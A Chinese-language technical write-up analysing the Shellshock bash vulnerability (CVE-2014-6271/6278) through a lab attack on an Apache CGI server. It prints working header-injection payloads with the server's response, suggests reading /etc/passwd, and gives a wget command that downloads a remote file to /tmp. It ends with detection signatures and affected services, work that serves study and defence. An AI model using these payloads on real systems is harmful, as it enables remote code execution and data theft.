bash破壳漏洞分析(二)

来源:互联网 发布:医药中标数据网 编辑:程序博客网 时间:2024/05/09 18:36

1. Bash简介

1.1 定义

   Bash(GNU Bourne-Again Shell)是许多Linux发行版的默认Shell。

1.2 概述

   目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“() {”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
   从阐述的漏洞原理可知,漏洞的根本原因存在于Bash的ENV命令实现上,因此漏洞本身是不能够直接导致远程代码执行的。如果达到远程代码执行的目的,必须要借助第三方服务程序作为媒介才能够实现,第三方服务程序也必须要满足众多条件才可以充当此媒介的角色。目前自己已验证第三方服务程序apache2便可充当此媒介,其CGI组件满足远程访问并调用Bash的ENV命令进行访问数据解析功能。具体如何实现,参见下面的原理图:CVE-2014-6271漏洞实现远程代码执行原理图。

2. 数据包分析

   Bash远程代码执行漏洞主要是以“() {”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。所以在数据包的payload构造时我们需要构造一个以“() {”开头的环境变量以及一段可执行的shell脚本。通过python将请求数据发送至服务器,Apache的cgi组件远程访问并调用Bash的ENV命令进行访问数据解析功能,执行payload脚本。

2.1 探测数据包

   具体流程如下:

  • 在含有破壳漏洞的bash版本的虚拟机(Ubuntu12.04)中对Apache进行安装以及对Apache的cgi组件进行配置。
  • 通过python POC文件构造代码执行payload对靶机进行攻击
  • 在进行攻击的同时通过Wireshark进行数据包的捕获
  • 分析抓取的数据包特征

2.1.1 请求包


数据包

GET /cgi-bin/test.cgi HTTP/1.1Accept-Encoding: identityCustomheader: () { test;};echo; echo shellshock one;Customheadernew: () { _;} >shellshockme[$($())] { echo Content-Type: text/plain ; echo ; echo "bash_cve_2014_6278 Output : $((80+59))";}Connection: closeAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36Host: 192.168.197.137 

分析

文中标注红色部分为攻击载荷,攻击载荷的特征为以“() {”开头,同时后面跟上一段可执行的shell脚本,当我们的靶场存在bash远程代码执行漏洞时,则以“() {”开头的环境变量后面跟的那段脚本则会执行,即echo 一个字符串“shellshock one”,同时echo bash_cve_2014_6278 Output : $((80+59))的执行结果即:echo “bash_cve_2014_6278 Output : 139”。
我们构造的攻击载荷可以位于GET,Cookie,User-Agent,Referer等。
理论上我们可以构造任意代码执行命令如:/bin/cat /etc/passwd,/sbin ifconfig,whoami,id等等

2.1.2 响应包


数据包

HTTP/1.1 200 OK
Date: Wed, 07 Sep 2016 07:47:39 GMT
Server: Apache/2.2.22 (Ubuntu)
Connection: close
Transfer-Encoding: chunked
f
shellshock one
19
Content-Type: text/plain
1
20
bash_cve_2014_6278 Output : 139
18
Content-type: text/html
1
0

分析

在响应包中中通常可以看到请求包中的代码执行情况,上文中的请求包中我们可以看到有三处有回显的显示代码分别为:echo shellshock one,echo Content-Type: text/plain,echo "bash_cve_2014_6278 Output : $((80+59))分别对应着响应体中的三处标注位置。
上述命令都属于有回显的命令,这些命令一般用于漏洞检测,还有一些命令如从某个地方下载一个文件到系统的某个路径下,执行某个文件操作时,这些命令一般在响应体中无法去判断代码是否执行成功如:/usr/bin/wget http://192.168.197.1:8080/testforshellshock/hello.html -O /tmp/muma.html;这个命令执行时从192.168.197.1服务器上下载hello.html文件到/tmp目录下为muma.html文件。这个payload的执行情况从响应体中是无法判断出来的,我们只有通过从系统目录下查看有没有muma.html文件存在。所以目前还没有找到特别好的方法去检测这一部分数据的攻击能否攻击成功。

3. 特征总结

   bash远程代码执行漏洞的主要问题在于“() {”开头的环境变量没有以“}”结尾,而是继续解析并执行了shell命令。所以bash远程代码执行漏洞即可以用“() {”作为特征进行数据包的抓取。注意:“)”和“{”之间一定要含有空格,不然不符合bash环境变量定义的格式

4. 漏洞可能会带来的影响

  • 此漏洞可以绕过ForceCommand在sshd中的配置,从而执行任意命令;
  • 如果CGI脚本用Bash编写,则使用mod_cgi或mod_cgid的Apache服务器会受到影响;
  • DHCP客户端调用shell脚本来配置系统,可能存在允许任意命令执行;
  • 各种daemon和SUID/privileged的程序都可能执行shell脚本,通过用户设置或影响环境变量值,允许任意命令运行。

5 参考资料

   破壳漏洞(CVE-2014-6271)综合分析:“破壳”漏洞系列分析之一.

   破壳漏洞(CVE-2014-6271)综合分析:“破壳”漏洞系列分析之二.

   破壳漏洞(CVE-2014-6271)综合分析:“破壳”漏洞系列分析之三.

   bash远程解析命令执行漏洞测试方法.

   Shellshock漏洞回顾与分析测试.

   破壳漏洞(CVE-2014-6271)综合分析.

1 0